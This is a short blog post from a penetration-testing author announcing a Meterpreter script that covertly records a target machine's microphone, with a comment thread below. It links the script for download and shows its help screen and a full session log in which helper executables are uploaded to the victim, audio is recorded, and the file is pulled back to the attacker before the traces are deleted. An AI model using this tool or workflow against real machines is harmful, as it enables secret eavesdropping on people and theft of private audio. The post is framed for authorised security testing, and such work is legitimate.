Meterpreter Script to Record Sound on a Target Machine

As requested yesterday by Paul in Pauldotcom Security Weekly podcast I wrote a small script to record all sound captured by a targets host microphone in an OGG sound file and upload such file back to the attacking machine. The tool used in linco that was suggested by Byte_Bucket in the pauldotcom IRC Channel.

http://www.darkoperator.com/meterpreter/soundrecorder.zip

meterpreter > run soundrecorder -h
Meterpeter script to Record all sound from built in sound source
on target host
OPTIONS:
 -h Help menu.
 -t <opt> Record Time in seconds.
meterpreter > run soundrecorder -t 3
[*] Uploading /pentest/exploits/framework3/data/linco.exe....
[*] /pentest/exploits/framework3/data/linco.exe uploaded!
[*] Uploading /pentest/exploits/framework3/data/oggenc.exe....
[*] /pentest/exploits/framework3/data/oggenc.exe uploaded!
[*] Recording...
[*] stopping recording ...
[*] Recording Stopped
[*] Downloading sound file ...
[*] File Downloaded to /root/.msf3/logs/soundrecord/15.40.154.2500046/out.ogg
[*] Deleting left over files...
[*] Files on target deleted
meterpreter > 

4/3/09 Updated the help screen to indicate that the record time is in seconds.

Comments

[Rob Fuller (mubix)]

Is the record time in minutes, seconds?

[DarkOperator]

it is in seconds, just update the post and uploaded a new version that indicates it is in seconds, thanks for pointing that out.

[m00dy]

I could not download you Zip file. I got an error telling me that the file does not exist.

Thanks a lot.

[Carlos Perez]

I just migrated to a new hosting provider, I see you did not check the meterpreter script section, here is the link
http://www.darkoperator.com/meterpreter/soundrecorder.zip

[Koan]

I could not download your Zip file. I got an error :

"Page Not Found
The page /meterpreter/soundrecorder.zip could not be located on this website."

Thanks a lot.

[Carlos Perez]

The functionality was added as a module a while ago